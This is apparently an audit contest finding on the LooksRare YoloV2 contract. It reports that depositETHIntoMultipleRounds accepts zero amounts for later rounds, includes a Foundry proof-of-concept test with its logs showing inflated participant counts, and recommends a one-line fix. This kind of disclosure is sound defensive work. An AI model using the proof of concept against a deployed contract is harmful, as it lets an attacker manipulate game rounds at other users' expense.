Users can deposit zero values

Summary

Users can make zero deposits using the depositETHIntoMultipleRounds function. This can be used to influence the terms of future rounds.

Vulnerability Detail

The depositETHIntoMultipleRounds function only checks that msg.value is not zero and is a multiple of the minimum deposit.

        if (msg.value == 0 || numberOfRounds == 0) {
            revert ZeroDeposits();
        }
...
            uint256 depositAmount = amounts[i];
            if (depositAmount % roundValuePerEntry != 0) {
                revert InvalidValue();
            }

Users can specify zero values for subsequent rounds. Proof of concept:

    function test_depositETHIntoMultipleRoundsWithZeroesTwoUsers() public {

        vm.deal(user2, 10 ether);

        vm.startPrank(user1);
        yolo.depositETHIntoMultipleRounds{value: 0.04 ether}(_amounts1());
        vm.stopPrank();

        vm.startPrank(user2);
        yolo.depositETHIntoMultipleRounds{value: 0.01 ether}(_amounts2());
        yolo.depositETHIntoMultipleRounds{value: 0.01 ether}(_amounts2()); 

        for (uint256 i = 1; i <= 4; i++) {
            (,,,,, uint40 numberOfParticipants,,,, IYoloV2.Deposit[] memory deposits) = yolo.getRound(i);

            console.log("round", i, " user1 owns index", deposits[0].currentEntryIndex);
            console.log("round", i, " user2 owns index", deposits[1].currentEntryIndex);
            console.log("round", i, " user2 owns index", deposits[2].currentEntryIndex);
            console.log("round", i, " deposits.length", deposits.length);
            console.log("round", i, " numberOfParticipants", numberOfParticipants);   
        }
    }

    function _amounts1() private pure returns (uint256[] memory amounts) {
        amounts = new uint256[](4);
        amounts[0] = 0.01 ether;
        amounts[1] = 0.01 ether;
        amounts[2] = 0.01 ether;
        amounts[3] = 0.01 ether;
    }

    function _amounts2() private pure returns (uint256[] memory amounts) {
        amounts = new uint256[](4);
        amounts[0] = 0.01 ether;
        amounts[1] = 0 ether;
        amounts[2] = 0 ether;
        amounts[3] = 0 ether;
    }

Running 1 test for test/foundry/Yolo.depositETHIntoMultipleRounds.t.sol:Yolo_DepositETHIntoMultipleRounds_Test
[PASS] test_depositETHIntoMultipleRoundsWithZeroesTwoUsers() (gas: 1032469)
Logs:
  round 1  user1 owns index 1
  round 1  user2 owns index 2
  round 1  user2 owns index 3
  round 1  deposits.length 3
  round 1  numberOfParticipants 2
  round 2  user1 owns index 1
  round 2  user2 owns index 1
  round 2  user2 owns index 1
  round 2  deposits.length 3
  round 2  numberOfParticipants 2
  round 3  user1 owns index 1
  round 3  user2 owns index 1
  round 3  user2 owns index 1
  round 3  deposits.length 3
  round 3  numberOfParticipants 2
  round 4  user1 owns index 1
  round 4  user2 owns index 1
  round 4  user2 owns index 1
  round 4  deposits.length 3
  round 4  numberOfParticipants 2

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 807.00ms

As can be seen from the test, zero deposits are accepted and increase the total number of deposits in the following rounds. The number of participants is also increasing, although the deposit was made only by the first. If there are no other participants, then the first participant will be declared the winner, but will only be able to withdraw his deposit minus the fee.

Impact

The code does not work as expected. An attacker can influence the number of participants in future rounds by reducing the available number of deposits without participating in these rounds.

Code Snippet

https://github.com/sherlock-audit/2024-01-looksrare/blob/7d76b96a58a6aee38f23bb38b8a5daa3bdc03f7c/contracts-yolo/contracts/YoloV2.sol#L314-L316 https://github.com/sherlock-audit/2024-01-looksrare/blob/7d76b96a58a6aee38f23bb38b8a5daa3bdc03f7c/contracts-yolo/contracts/YoloV2.sol#L337-L340

Tool used

Manual Review

Recommendation

Consider using zero check for the amounts:

            uint256 depositAmount = amounts[i];
-           if (depositAmount % roundValuePerEntry != 0) {
+           if (depositAmount % roundValuePerEntry != 0 || depositAmount == 0) {
                revert InvalidValue();
            }

Duplicate of #18

sherlock-audit / 2024-01-looksrare-judging

pontifex - Users can deposit zero values #135